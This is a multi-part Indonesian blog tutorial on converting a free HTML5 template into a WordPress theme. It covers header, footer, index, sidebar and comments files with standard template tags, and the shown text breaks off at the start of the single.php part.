<nav><!– top nav –>
<div>
<ul>
<li><a href=”#”>Home</a></li>
<li><a href=”#”>About</a></li>
<li><a href=”#”>Products</a></li>
<li><a href=”#”>Services</a></li>
<li><a href=”#”>Support</a></li>
<li><a href=”#”>Contact Us</a></li>
</ul>
</div>
</nav><!– end of top nav –>
<section id=”main”><!– #main content and sidebar area –>
Sekarang tinggal kita edit source yang ada supaya dapat berjalan di blog wordpress kita,
<link rel=”stylesheet” href=”styles.css” type=”text/css” media=”screen” />
Seperti yang kita liat di tag diatas, tag itu tidak akan di eksekusi oleh wp engine, sekarang kita ubah sedikit agar dapat berjalan di blog wp kita
Tertulis disana href=”styles.css” jika dalam wordpress tag yang digunakan untuk memanggile style.css seperti ini <?php bloginfo (‘stylesheet_url’);?> maka dari itu, tulisan style.css kita ganti dengan tag diatas.,, maka akan menjadi seperti ini
<link rel=”stylesheet” href=”<?php bloginfo (‘stylesheet_url’);?>” type=”text/css” media=”screen” />
Disana juga terdapat *.css yang lain
<link rel=”stylesheet” type=”text/css” href=”print.css” media=”print” />
Maka untuk memanggilnya kita gunakan tag kedua,
<?php bloginfo (‘template_url’);? />
Tambahkan tag itu di depan print.css maka hasilnya seperti ini
<link rel=”stylesheet” type=”text/css” href=”<?php bloginfo (‘template_url’);?>/ print.css” media=”print” />
Oke, setelah itu kita sisipkan tag
<?php wp_head(); ?>
Sebelum </head>
Setelah itu kita SAVE.
Hasil akhirnya seperti ini
<!doctype html>
<html lang=”en”>
<head>
<meta charset=”utf-8″ />
<title>ButterflyBrilliance</title>
<link rel=”stylesheet” href=”<?php bloginfo (‘stylesheet_url’);?>” type=”text/css” media=”screen” />
<link rel=”stylesheet” type=”text/css” href=”<?php bloginfo (‘template_url’);?>/ print.css” media=”print” /> <!–[if IE]><script src=”http://html5shiv.googlecode.com/svn/trunk/html5.js”></script><![endif]–>
</head>
<body>
<div id=”wrapper”><!– #wrapper –>
<header><!– header –>
<h1><a href=”#”>Butterfly Brilliance</a></h1>
<h2>Your interesting tag line goes here</h2>
</header><!– end of header –>
<nav><!– top nav –>
<div>
<ul>
<li><a href=”#”>Home</a></li>
<li><a href=”#”>About</a></li>
<li><a href=”#”>Products</a></li>
<li><a href=”#”>Services</a></li>
<li><a href=”#”>Support</a></li>
<li><a href=”#”>Contact Us</a></li>
</ul>
</div>
</nav><!– end of top nav –>
<section id=”main”><!– #main content and sidebar area –>
Sebelum kita lanjut pada tahap selanjutnya, sedikit akan saya bahas apa saja sih yang bisa dimasukan kedalah header.php ini??
Disini kita bisa sisipkan favicon.
Contoh pemanggilan faviconya seperti ini
<link rel=”shortcut icon” href=”<?php bloginfo(‘template_directory’); ?>/favicon.ico” />
Untuk perjumpaan yang sekarang saya cukupkan sampai disini dulu, udah magrib, saatnya saya untuk mandi dan solat, so kita lanjutkan pada perjumpaan yang selanjutnya..
Oke, have a niceday and GBU

PART 2

Oke kawan, selamat morning, kali ini kita akan membahas Belajar Membuat Theme WordPress Part 2.
Kita awali pagi dengan senyuman, oke :D

Oke, sebelum kita lanjutkan pembahasan yang kemaren, http://www.binushacker.net/belajar-membuat-theme-wordpress-p1.html, mungkin diantara kalian yang membaca dan menyimak tutor ini bertanya tanya, kenapa tag html nya berbeda dari html yang biasa kita jumpai?
Jadi begini kawan, dunia internet semakin berkembang, dan para developer web pun mengembangkan source supaya lebih mudah dan simple, maka dari itu, sedikit demi sedikit saya akan membiasakan dalam tutor desain yang saya berikan itu menggunakan HTML5+css3, karena dalam dalam dunia webdis (web desain) source ini sedang di gandrungi :D
Oke, sekarang kita lanjut ke step selanjutnya….
Setelah kemaren kita membuat file header.php
Sekarang kita akan membuat pasanganya, yaitu footer.php
Sedikit kita review… tag index yang kemaren…
<!doctype html>
<html lang=”en”>
<head>
<meta charset=”utf-8″ />
<title>ButterflyBrilliance</title>
<link rel=”stylesheet” href=”styles.css” type=”text/css” media=”screen” />
<link rel=”stylesheet” type=”text/css” href=”print.css” media=”print” />
<!–[if IE]><script src=”http://html5shiv.googlecode.com/svn/trunk/html5.js”></script><![endif]–>
</head>
<body>
<div id=”wrapper”><!– #wrapper –>
<header><!– header –>
<h1><a href=”#”>Butterfly Brilliance</a></h1>
<h2>Your interesting tag line goes here</h2>
</header><!– end of header –>
<nav><!– top nav –>
<div>
<ul>
<li><a href=”#”>Home</a></li>
<li><a href=”#”>About</a></li>
<li><a href=”#”>Products</a></li>
<li><a href=”#”>Services</a></li>
<li><a href=”#”>Support</a></li>
<li><a href=”#”>Contact Us</a></li>
</ul>
</div>
</nav><!– end of top nav –>
<section id=”main”><!– #main content and sidebar area –>
<section id=”content”><!– #content –>
<article>
<h2><a href=”#”>First Article Title</a></h2>
<p><img src=”images/orangebutterfly.png” alt=”” />Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio. Praesent libero. Sed cursus ante dapibus diam. Sed nisi. Nulla quis sem at nibh elementum imperdiet. Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Curabitur sodales ligula in libero. Sed dignissim lacinia nunc. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.</p>
</article>
<article>
<h2><a href=”#”>Second Article Title</a></h2>
<p><img src=”images/coolbutterfly.png” alt=”” />Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio. Praesent libero. Sed cursus ante dapibus diam. Sed nisi. Nulla quis sem at nibh elementum imperdiet. Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Curabitur sodales ligula in libero. Sed dignissim lacinia nunc. Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.</p>
<p>Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.</p>
</article>
</section><!– end of #content –>
<aside id=”sidebar”><!– sidebar –>
<h3>Things To Do</h3>
<ul>
<li><a href=”#”>Play Games</a></li>
<li><a href=”#”>Chat With Friends</a></li>
<li><a href=”#”>Swap Stories</a></li>
<li><a href=”#”>Sell Stuff</a></li>
<li><a href=”#”>Buy Stuff</a></li>
<li><a href=”#”>Trade Stuff</a></li>
</ul>
<h3>Sponsors</h3>
<img src=”images/ad125.jpg” alt=”” /><br /><img src=”images/ad125.jpg” alt=”” /><br /><br />
<h3>Connect With Us</h3>
<ul>
<li><a href=”#”>Twitter</a></li>
<li><a href=”#”>Facebook</a></li>
</ul>
</aside><!– end of sidebar –>
</section><!– end of #main content and sidebar–>
<footer>
<section id=”footer-area”>
<section id=”footer-outer-block”>
<aside>
<h4>Friends</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #first footer segment –>
<aside>
<h4>Awesome Stuff</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #second footer segment –>
<aside>
<h4>Coolness</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #third footer segment –>
<aside>
<h4>Blahdyblah</h4>
<p>&copy; 2010 <a href=”#”>yoursite.com</a> Praesent libero. Sed cursus ante dapibus diam. Sed nisi.</p>
</aside><!– end of #fourth footer segment –>
</section><!– end of footer-outer-block –>
</section><!– end of footer-area –>
</footer>
</div><!– #wrapper –>
<!– Free template created by http://freehtml5templates.com –>
</body>
</html>
Dari source diatas kita akan ambil bagian footernya,
Here we go……..
</section><!– end of #main content and sidebar–>
<footer>
<section id=”footer-area”>
<section id=”footer-outer-block”>
<aside>
<h4>Friends</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #first footer segment –>
<aside>
<h4>Awesome Stuff</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #second footer segment –>
<aside>
<h4>Coolness</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #third footer segment –>
<aside>
<h4>Blahdyblah</h4>
<p>&copy; 2010 <a href=”#”>yoursite.com</a> Praesent libero. Sed cursus ante dapibus diam. Sed nisi.</p>
</aside><!– end of #fourth footer segment –>
</section><!– end of footer-outer-block –>
</section><!– end of footer-area –>
</footer>
</div><!– #wrapper –>
<!– Free template created by http://freehtml5templates.com –>
</body>
</html>
Dalam footer ini ga ada yang aneh, secara keseluruhan hampir sama dengan header, so just place this code <?php wp_footer(); ?> before </body>,

Berikut fungsi wp_footer menurut
http://www.wpdesigner.com
The wp_footer() function is often used by plugins to insert PHP codes after everything else on your page. According to WordPress.org theme development documentation, you should place the wp_footer() function in the footer, which would be in the footer.php file.
One detail that WordPress.org doesn’t mention is that most plugins (i.e: Spam Karma 2, PodPress, and FireStats), using the wp_footer() function, tend to break your theme. A well-designed and well-built theme is nothing without a safely placed wp_footer() function.
Here’s my advice. Don’t place the wp_footer() function right before the end; that’s usually the closing body tag. Instead, place that function within a DIV or container. For example:
Posts
Sidebar

If you do that, no matter what a certain plugin does to the footer of your theme, it doesn’t expand beyond the container or DIV containing the wp_footer() function. You can open up the footer.php file of the Greed theme for an example.
Update:
Place the wp_footer() function within a style-less container (usually the outermost div with no backgrounds and images) that your layout doesn’t depend on. Otherwise, you might end up with an incomplete layout while waiting for a slow loading plugin.
Jadi secara harfiah fungsi dari wp_footer adalah sebagai tolak ukur penggunaan plug-in jika ingin plug-in nya itu berjalan seperti sebagai mana mestinya.
Jadi final source untuk footer.php ada lahah seperti ini.
</section><!– end of #main content and sidebar–>
<footer>
<section id=”footer-area”>
<section id=”footer-outer-block”>
<aside>
<h4>Friends</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #first footer segment –>
<aside>
<h4>Awesome Stuff</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #second footer segment –>
<aside>
<h4>Coolness</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #third footer segment –>
<aside>
<h4>Blahdyblah</h4>
<p>&copy; 2010 <a href=”#”>yoursite.com</a> Praesent libero. Sed cursus ante dapibus diam. Sed nisi.</p>
</aside><!– end of #fourth footer segment –>
</section><!– end of footer-outer-block –>
</section><!– end of footer-area –>
</footer>
<?php wp_footer(); ?>
</div><!– #wrapper –>
<!– Free template created by http://freehtml5templates.com –>

</body>
</html>
So thats all our leason for today, hope you understand.
And than have a great day and GBU
See ya in next step….
PS: Untuk berdiskusi silakan ke: http://forum.binushacker.net :)

PART 3

Malam, begadang nih, dari pada ga ada kerjaan mending kita lanjutin materi yang sebelumnya gue bahas yaitu membuat footer.php
langsung aja dah,

Step selanjutnya adalah membuat isian dari index.php
Sebelumnya kita ulas dulu isi dari header.php dan footer.php
header.php
<!doctype html>
<html lang=”en”>
<head>
<meta charset=”utf-8″ />
<title>ButterflyBrilliance</title>
<link rel=”stylesheet” href=”<?php bloginfo (‘stylesheet_url’);?>” type=”text/css” media=”screen” />
<link rel=”stylesheet” type=”text/css” href=”<?php bloginfo (‘template_url’);?>/ print.css” media=”print” /> <!–[if IE]><script src=”http://html5shiv.googlecode.com/svn/trunk/html5.js”></script><![endif]–>
</head>
<body>
<div id=”wrapper”><!– #wrapper –>
<header><!– header –>
<h1><a href=”#”>Butterfly Brilliance</a></h1>
<h2>Your interesting tag line goes here</h2>
</header><!– end of header –>
<nav><!– top nav –>
<div>
<ul>
<li><a href=”#”>Home</a></li>
<li><a href=”#”>About</a></li>
<li><a href=”#”>Products</a></li>
<li><a href=”#”>Services</a></li>
<li><a href=”#”>Support</a></li>
<li><a href=”#”>Contact Us</a></li>
</ul>
</div>
</nav><!– end of top nav –>
<section id=”main”><!– #main content and sidebar area –>
footer.php
</section><!– end of #main content and sidebar–>
<footer>
<section id=”footer-area”>
<section id=”footer-outer-block”>
<aside>
<h4>Friends</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #first footer segment –>
<aside>
<h4>Awesome Stuff</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #second footer segment –>
<aside>
<h4>Coolness</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #third footer segment –>
<aside>
<h4>Blahdyblah</h4>
<p>&copy; 2010 <a href=”#”>yoursite.com</a> Praesent libero. Sed cursus ante dapibus diam. Sed nisi.</p>
</aside><!– end of #fourth footer segment –>
</section><!– end of footer-outer-block –>
</section><!– end of footer-area –>
</footer>
<?php wp_footer(); ?>
</div><!– #wrapper –>
<!– Free template created by http://freehtml5templates.com –>
</body>
</html>
Oke sekarang kita buat index nya, buka file index.php nya
Dan masukan 2 code ini:
<?php get_header()?>
<?php get_footer();?>
Sekarang buka file index.html dari tema yang kemaren kita download dan copy paste code ini di antara kedua code diatas,dan hasilnya seperti ini.
<?php get_header()?>
<section id=”content”><!– #content –>
<article>
<h2><a href=”#”>First Article Title</a></h2>
<p><img src=”images/orangebutterfly.png” alt=”” />Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio. Praesent libero. Sed cursus ante dapibus diam. Sed nisi. Nulla quis sem at nibh elementum imperdiet. Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Curabitur sodales ligula in libero. Sed dignissim lacinia nunc. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.</p>
</article>
<article>
<h2><a href=”#”>Second Article Title</a></h2>
<p><img src=”images/coolbutterfly.png” alt=”” />Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio. Praesent libero. Sed cursus ante dapibus diam. Sed nisi. Nulla quis sem at nibh elementum imperdiet. Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Curabitur sodales ligula in libero. Sed dignissim lacinia nunc. Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.</p>
<p>Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.</p>
</article>
</section><!– end of #content –>
<aside id=”sidebar”><!– sidebar –>
<h3>Things To Do</h3>
<ul>
<li><a href=”#”>Play Games</a></li>
<li><a href=”#”>Chat With Friends</a></li>
<li><a href=”#”>Swap Stories</a></li>
<li><a href=”#”>Sell Stuff</a></li>
<li><a href=”#”>Buy Stuff</a></li>
<li><a href=”#”>Trade Stuff</a></li>
</ul>
<h3>Sponsors</h3>
<img src=”images/ad125.jpg” alt=”” /><br /><img src=”images/ad125.jpg” alt=”” /><br /><br />
<h3>Connect With Us</h3>
<ul>
<li><a href=”#”>Twitter</a></li>
<li><a href=”#”>Facebook</a></li>
</ul>
</aside><!– end of sidebar –>
<?php get_footer();?>
Sampai disini sebenarnya template ini sudah siap di tes (tapi belum layak pakai)
Tugas kita selanjutnya adalah menampilkan hasil dari postingan kita.
Seperti yang tertulis dari code index diatas, disana terdapat dua tag article, kita buang saja satu,
Hasilnya seperti ini:
<?php get_header()?>
<section id=”content”><!– #content –>
<article>
<h2><a href=”#”>First Article Title</a></h2>
<p><img src=”images/orangebutterfly.png” alt=”” />Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio. Praesent libero. Sed cursus ante dapibus diam. Sed nisi. Nulla quis sem at nibh elementum imperdiet. Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Curabitur sodales ligula in libero. Sed dignissim lacinia nunc. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.</p>
</article>

</section><!– end of #content –>
<aside id=”sidebar”><!– sidebar –>
<h3>Things To Do</h3>
<ul>
<li><a href=”#”>Play Games</a></li>
<li><a href=”#”>Chat With Friends</a></li>
<li><a href=”#”>Swap Stories</a></li>
<li><a href=”#”>Sell Stuff</a></li>
<li><a href=”#”>Buy Stuff</a></li>
<li><a href=”#”>Trade Stuff</a></li>
</ul>
<h3>Sponsors</h3>
<img src=”images/ad125.jpg” alt=”” /><br /><img src=”images/ad125.jpg” alt=”” /><br /><br />
<h3>Connect With Us</h3>
<ul>
<li><a href=”#”>Twitter</a></li>
<li><a href=”#”>Facebook</a></li>
</ul>
</aside><!– end of sidebar –>
<?php get_footer();?>
Sekarang kita akan memasangkan jamu pemanggil postingan kita,
Here we go…..
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<?php endwhile; ?>
<?php endif; ?>
Kita pasangkan di tag article kita, final code is right here.
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<article>
<h2><a href=”<?php the_permalink() ?>” ><?php the_title(); ?></a></h2>
<p><img src=”<?php bloginfo(‘template_directory’); ?>/images/orangebutterfly.png” alt=”” />
<?php the_content(‘Read more &raquo;’); ?></p>
</article>
<?php endwhile; ?>
<?php endif; ?>
Jadi hasil dari kerja kita malam ini menghasilkan source index.php seperti ini:
<?php get_header()?>
<section id=”content”><!– #content –>
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<article>
<h2><a href=”<?php the_permalink() ?>” ><?php the_title(); ?></a></h2>
<p><img src=”<?php bloginfo(‘template_directory’); ?>/images/orangebutterfly.png” alt=”” />
<?php the_content(‘Read more &raquo;’); ?></p>
</article>
<?php endwhile; ?>
<?php endif; ?>

</section><!– end of #content –>
<aside id=”sidebar”><!– sidebar –>
<h3>Things To Do</h3>
<ul>
<li><a href=”#”>Play Games</a></li>
<li><a href=”#”>Chat With Friends</a></li>
<li><a href=”#”>Swap Stories</a></li>
<li><a href=”#”>Sell Stuff</a></li>
<li><a href=”#”>Buy Stuff</a></li>
<li><a href=”#”>Trade Stuff</a></li>
</ul>
<h3>Sponsors</h3>
<img src=”images/ad125.jpg” alt=”” /><br /><img src=”images/ad125.jpg” alt=”” /><br /><br />
<h3>Connect With Us</h3>
<ul>
<li><a href=”#”>Twitter</a></li>
<li><a href=”#”>Facebook</a></li>
</ul>
</aside><!– end of sidebar –>
<?php get_footer();?>
Untuk sekarang di cukupkan dulu, kita akan lanjutkan nanti pada tahap pembuatan single.php
So keep stay in www.BinusHacker.net for more useable article.
Good nite and have a great dream to night.
See ya :)

PART 4

Yah baru sempet posting lagi.. beberapa hari ini agak disibukan ma tunggakan tugas yang udah musti kelar buat sarat ikut UAS, ditambah lagi repot beresin porum komunitas, tutor nya jadi terbengkalai dah….

Berhubung hutang itu harus di bayar, jadi ane lanjutin lagi dah tutor nya…
Mungkin dari kalian semua ada yang berpendapat kenapa tutor nya ga disatuin aja, kenapa musti dibagi bagi gini??
gini gan, dulu ane pernah singgah disalah satu blog tutor, disana menerapkan one week one content.dan itu ternyata berhasil, karena kita akan lebih fokus dalam satu ulasan itu, tanpa terpengaruh oleh yang lain, nah konsep seperti itu mulai ane terapin dihampir semua site garapan ane,ane harap sih, kalian semua bisa menerima cara penyampaian yang ane jalankan, sukur sukur agan semua kaga puas dengan apa yang udah ane sampein, jadi bisa bertanya dan lebih ngulik lagi soal bahasanya, tambah banyak kan tambah ilmu. right?
Lanjut setelah kemaren kita buat index.php..
http://www.binushacker.net/belajar-membuat-theme-wordpress-p3.html
Enaknya kita ngelancong kemana dulu ya??
Yang pendek pendek dulu aja kalia ya.. oke deh,, hari ini kita akan bahas sidebar.php
Sebelum nya review dulu isian dari idex.php
index.php
<?php get_header()?>
<section id=”content”><!– #content –>
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<article>
<h2><a href=”<?php the_permalink() ?>” ><?php the_title(); ?></a></h2>
<p><img src=”<?php bloginfo(‘template_directory’); ?>/images/orangebutterfly.png” alt=”” />
<?php the_content(‘Read more &raquo;’); ?></p>
</article>
<?php endwhile; ?>
<?php endif; ?>

</section><!– end of #content –>
<aside id=”sidebar”><!– sidebar –>
<h3>Things To Do</h3>
<ul>
<li><a href=”#”>Play Games</a></li>
<li><a href=”#”>Chat With Friends</a></li>
<li><a href=”#”>Swap Stories</a></li>
<li><a href=”#”>Sell Stuff</a></li>
<li><a href=”#”>Buy Stuff</a></li>
<li><a href=”#”>Trade Stuff</a></li>
</ul>
<h3>Sponsors</h3>
<img src=”images/ad125.jpg” alt=”” /><br /><img src=”images/ad125.jpg” alt=”” /><br /><br />
<h3>Connect With Us</h3>
<ul>
<li><a href=”#”>Twitter</a></li>
<li><a href=”#”>Facebook</a></li>
</ul>
</aside><!– end of sidebar –>
<?php get_footer();?>
Dalam html5, sudah disediakan tag sidebar, yaitu “aside” jadi kita buka file sidebar.php
dan index.php nya,
Cut code ini dari index.php
<aside id=”sidebar”><!– sidebar –>
<h3>Things To Do</h3>
<ul>
<li><a href=”#”>Play Games</a></li>
<li><a href=”#”>Chat With Friends</a></li>
<li><a href=”#”>Swap Stories</a></li>
<li><a href=”#”>Sell Stuff</a></li>
<li><a href=”#”>Buy Stuff</a></li>
<li><a href=”#”>Trade Stuff</a></li>
</ul>
<h3>Sponsors</h3>
<img src=”images/ad125.jpg” alt=”” /><br /><img src=”images/ad125.jpg” alt=”” /><br /><br />
<h3>Connect With Us</h3>
<ul>
<li><a href=”#”>Twitter</a></li>
<li><a href=”#”>Facebook</a></li>
</ul>
</aside><!– end of sidebar –>
Dan paste-kan di sidebar.php
Sekarang buka lagi file index.php nya, kita akan masukan tak pemanggil sidebar.
Here we go….
<?php get_sidebar(); ?>
Nah, sekarang pasang fungsi itu di index.php
Jadinya seperti ini….
<?php get_header()?>
<section id=”content”><!– #content –>
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<article>
<h2><a href=”<?php the_permalink() ?>” ><?php the_title(); ?></a></h2>
<p><img src=”<?php bloginfo(‘template_directory’); ?>/images/orangebutterfly.png” alt=”” />
<?php the_content(‘Read more &raquo;’); ?></p>
</article>
<?php endwhile; ?>
<?php endif; ?>

</section><!– end of #content –>
<?php get_sidebar(); ?><?php get_footer();?>
Setelah itu save file index.phpnya, sekarang buka file sidebar.php
Nah berikut fungsi yang biasa diisikan di file sidebar.php
  1. <?php wp_list_pages(‘title_li=<h2>Pages</h2>’); ?>
  2. <?php wp_list_cats(); ?>
  3. <?php wp_get_archives(‘type=monthly’); ?>
  4. <?php related_posts(10, 10, ‘<li>’, ‘</li>’, ”, ”, false, false); ?>
Fungsi diatas masih bisa agan semua modifikasi lagi,silakan lihat http://codex.wordpress.org/Customizing_Your_Sidebar jika ingin mengetahui lebih dalam tentang costumasi sidebar. untuk sekarang saya hanya akan menggunakan sebagian saja biar tidak riweuh… wkwkwk :D
Ini hasil akhir untuk file sidebar.php
<aside id=”sidebar”><!– sidebar –>
<h3>
<?php _e(‘Categories:’); ?>
</h3>
<ul>
<?php wp_list_categories(‘title_li=‘); ?>
</ul>
<h3>
<?php _e(‘Pages:’); ?>
</h3>
<ul>
<?php wp_list_pages(‘title_li=’); ?>
</ul>
<h3>
<?php _e(‘Archiev:’); ?>
</h3>
<ul>
<?php wp_get_archives(‘type=monthly’); ?>
</ul>
</aside><!– end of sidebar –>
Save and done…
Oke cukup dulu ah....
Mau lanjut lagi ngerjain makalah. so keep stay @ binushacker.net
and see ya.
GBU

PART 5

Yang langsung nyantol di link ini, nih ane kasih part part sebelum mulai beranjak untuk membaca part 5 ini. silakan di pelajari dan di komentari :D

Kemaren kita udah buat file sidebar.php, dan berhubung sekarang waktu ane sangat sangat singkat banget, jadi kita mulai dengan hal file yang simple dulu kali ye…
Oke yang sekarang akan kita bahas adalah membuat file comments.php
Berhubung ane sendiri sampe sekarang masih agak bingung tentang costumasi file comments.php jadi ane kasih mentahnya aja untuk kalian copas di file comments.php yang sebelumnya telah kita buat.
Silakan pastekan function ini di comments.php

<?php // Do not delete these lines
if (‘comments.php’ == basename($_SERVER['SCRIPT_FILENAME']))
die (‘Please do not load this page directly. Thanks!’);
if (!empty($post->post_password)) { // if there’s a password
if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) { // and it doesn’t match the cookie
?>
<p>This post is password protected. Enter the password to view comments.</p>
<?php
return;
}
}
/* This variable is for alternating comment background */
$oddcomment = ”;
?>
<!– You can start editing here. –>
<?php if ($comments) : ?>
<h2 id=”comments”>Comments</h2>
<div>
<?php wp_list_comments2(); ?>
</div>
<?php else : // this is displayed if there are no comments so far ?>
<?php if (‘open’ == $post->comment_status) : ?>
<!– If comments are open, but there are no comments. –>
<?php else : // comments are closed ?>
<!– If comments are closed. –>
<p>Comments are closed.</p>
<?php endif; ?>
<?php endif; ?>
<?php if (‘open’ == $post->comment_status) : ?>
<div id=”respond”>
<h3 id=”respond_title”>Post a comment</h3>
<div>
<small><?php cancel_comment_reply_link(); ?></small>
</div>
<?php if ( get_option(‘comment_registration’) && !$user_ID ) : ?>
<p>You must be <a href=”<?php echo get_option(‘siteurl’); ?>/wp-login.php?redirect_to=<?php echo urlencode(get_permalink()); ?>”>logged in</a> to post a comment.</p>
<?php else : ?>
<form action=”<?php echo get_option(‘siteurl’); ?>/wp-comments-post.php” method=”post” id=”commentform”>
<div>
<?php theme_google_300_ads_show(); ?>
</div>
<?php if ( $user_ID ) : ?>
<p>Logged in as <a href=”<?php echo get_option(‘siteurl’); ?>/wp-admin/profile.php”><?php echo $user_identity; ?></a>. <a href=”<?php echo wp_logout_url(get_permalink()); ?>” title=”Log out of this account”>Log out &raquo;</a></p>
<?php else : ?>
<p><input type=”text” name=”author” id=”author” value=”<?php echo $comment_author; ?>” size=”22″ tabindex=”1″ <?php if ($req) echo “aria-required=’true’”; ?> />
<label for=”author”><small>Name <?php if ($req) echo “(required)”; ?></small></label></p>
<p><input type=”text” name=”email” id=”email” value=”<?php echo $comment_author_email; ?>” size=”22″ tabindex=”2″ <?php if ($req) echo “aria-required=’true’”; ?> />
<label for=”email”><small>Mail (will not be published) <?php if ($req) echo “(required)”; ?></small></label></p>
<p><input type=”text” name=”url” id=”url” value=”<?php echo $comment_author_url; ?>” size=”22″ tabindex=”3″ />
<label for=”url”><small>Website</small></label></p>
<?php endif; ?>
<!–<p><small><strong>XHTML:</strong> You can use these tags: <code><?php echo allowed_tags(); ?></code></small></p>–>
<p><textarea name=”comment” id=”comment” cols=”100%” rows=”10″ tabindex=”4″></textarea></p>
<p><input name=”submit” type=”image” src=”<?php bloginfo(‘template_url’)?>/images/comm_sub.gif” id=”submit” tabindex=”5″ value=”Submit Comment” />
<?php comment_id_fields(); ?>
</p>
<?php do_action(‘comment_form’, $post->ID); ?>
</form>
<?php endif; // If registration required and not logged in ?>
</div>
<?php endif; // if you delete this the sky will fall on your head ?>
Dari pengalaman ane selama ini mengostumasi file comments.php, ane hanya mengetahui beberapa dari ratusan bahkan ribuat trik untuk membuat menarik comments kalian…
Kalian bisa mempercantik tag tag html nya dengan mengcostumasinya di style.css
So thats it for today.
Semoga kalian tidak puas dan terus bertanya.
Stay connect with us @ http://www.binushacker.net
And forum @ http://forum.binushacker.net
See ya and have a nice day…… :)

PART 6

Yo yo yo. selamat malam kawan semuanya…. mari kita lanjutkan pembelajaran kita pada pembahasan pembuatan tema wordpress.
Ga kerasa sekarang itu udah memasuki tuto yang part 6,
Yang sekarang akan kita bahas adalah cara membuat file single.php, oh iye, tutor ini ane dah susun mulai dari depan hingga belakang secara berurutan, seperti pada part 1 kita membahas membuat header, dan footer pada part 2, dilanjutkan dengan index pada part 3, disusul oleh sidebar pada part 4, dan comments pada part 5, jadi menurut hemat saya, maka selanjutnya adalah single, so lets start….
pada dasarnya, single.php itu sama dengan index.php hanya saja ada beberapa tambahan pada page single. seperti komentar, similiar post, etc.
Jadi untuk membuat single.php kita buka dulu file index.php
Dan copas isinya ke single.php….

